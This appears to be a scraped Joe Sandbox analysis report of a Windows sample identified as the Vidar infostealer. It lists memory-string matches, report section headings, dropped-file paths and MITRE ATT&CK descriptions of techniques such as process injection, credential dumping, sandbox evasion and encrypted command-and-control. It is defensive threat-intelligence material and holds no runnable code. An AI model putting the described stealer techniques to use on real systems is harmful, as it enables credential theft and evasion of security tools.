Source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe, 00000000.00000002.1768840583.0000000005BA0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameProtect.dll8 vs SecuriteInfo.com.Win32.Malware-gen.198.6512.exe
Source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe, 00000000.00000002.1763723745.0000000002ED1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameProtect.dll8 vs SecuriteInfo.com.Win32.Malware-gen.198.6512.exe
Source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe, 00000000.00000002.1768881282.0000000005CA0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameProtect.dll8 vs SecuriteInfo.com.Win32.Malware-gen.198.6512.exe
Source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe, 00000000.00000002.1762735635.000000000100B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameProtect.dll8 vs SecuriteInfo.com.Win32.Malware-gen.198.6512.exe
Source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Binary or memory string: OriginalFilenamePolly.dll, vs SecuriteInfo.com.Win32.Malware-gen.198.6512.exe
Source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Binary or memory string: OriginalFilenameICSharpCode.SharpZipLib.dllP vs SecuriteInfo.com.Win32.Malware-gen.198.6512.exe
Source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Binary or memory string: OriginalFilenameZipExtractor.dll: vs SecuriteInfo.com.Win32.Malware-gen.198.6512.exe
Source: SecuriteInfo.com.Win32.Malware-gen.198.6512.exe	Binary or memory string: OriginalFilenameportableneweurope_hub8.exeP. vs SecuriteInfo.com.Win32.Malware-gen.198.6512.exe

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Win32.Malware-gen.198.6512.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Vidar

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AFCBAEBAEBFH\AFBFHD

C:\ProgramData\AFCBAEBAEBFH\CBGCAF

C:\ProgramData\AFCBAEBAEBFH\CBGCAF-shm

C:\ProgramData\AFCBAEBAEBFH\ECGIII

C:\ProgramData\AFCBAEBAEBFH\FIIDBK

C:\ProgramData\AFCBAEBAEBFH\FIJECA

C:\ProgramData\AFCBAEBAEBFH\HDAAAA

C:\ProgramData\AFCBAEBAEBFH\IEHCBA

C:\ProgramData\AFCBAEBAEBFH\JKKEHJ

Windows Analysis Report
SecuriteInfo.com.Win32.Malware-gen.198.6512.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre